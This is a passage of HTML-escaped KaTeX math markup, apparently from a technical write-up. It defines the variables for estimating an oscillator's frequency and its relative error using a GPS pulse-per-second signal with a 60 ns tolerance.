class=&quot;vlist&quot; style=&quot;height:0.286108em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.80952em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.32833099999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;Δ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.32833099999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;Δ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; - Is our PPS period interval (1 second ±60 ns)&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; - is the real frequency of our oscillator&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mover accent=&quot;true&quot;&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;^&lt;/mo&gt;&lt;/mover&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\hat{f} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1523199999999998em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord accent&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.9578799999999998em;&quot;&gt;&lt;span style=&quot;top:-3em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.26344em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;accent-body&quot; style=&quot;left:-0.08332999999999999em;&quot;&gt;&lt;span class=&quot;mord&quot;&gt;^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.19444em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; - our estimate of &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;ϵ&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mover accent=&quot;true&quot;&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;^&lt;/mo&gt;&lt;/mover&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\epsilon = \frac{\hat{f} - f}{f} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.43056em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;ϵ&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.5977319999999997em;vertical-align:-0.481108em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:1.1166239999999998em;&quot;&gt;&lt;span style=&quot;top:-2.6550000000000002em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mathnormal mtight&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.446108em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord accent mtight&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.9578799999999998em;&quot;&gt;&lt;span style=&quot;top:-2.7em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mathnormal mtight&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-2.9634400000000003em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;accent-body&quot; style=&quot;left:-0.08332999999999999em;&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.19444em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mbin mtight&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.481108em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; - &lt;a href=&quot;http://mathworld.wolfram.com/RelativeError.html&quot;&gt;relative error&lt;/a&gt; of &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mover accent=&quot;true&quot;&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;^&lt;/mo&gt;&lt;/mover&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\hat{f} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1523199999999998em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord accent&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.9578799999999998em;&quot;&gt;&lt;span style=&quot;top:-3em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.26344em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;accent-body&quot; style=&quot;left:-0.08332999999999999em;&quot;&gt;&lt;span class=&quot;mord&quot;&gt;^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.19444em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; with respect to &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mover accent=&quot;true&quot;&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;^&lt;/mo&gt;&lt;/mover&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌊&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌋&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;[&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌊&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Δ&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌋&lt;/mo&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌊&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Δ&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌋&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;]&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
  \hat{f} t_0 = \lfloor f  t_p \rfloor = [\lfloor f(t_0 - t_{\Delta}) \rfloor, \lfloor f(t_0 + t_{\Delta}) \rfloor]
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1523199999999998em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord accent&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.9578799999999998em;&quot;&gt;&lt;span style=&quot;top:-3em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.26344em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;accent-body&quot; style=&quot;left:-0.08332999999999999em;&quot;&gt;&lt;span class=&quot;mord&quot;&gt;^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.19444em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.036108em;vertical-align:-0.286108em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;⌊&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15139200000000003em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;p&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.286108em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;⌋&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;⌊&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.32833099999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;Δ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span 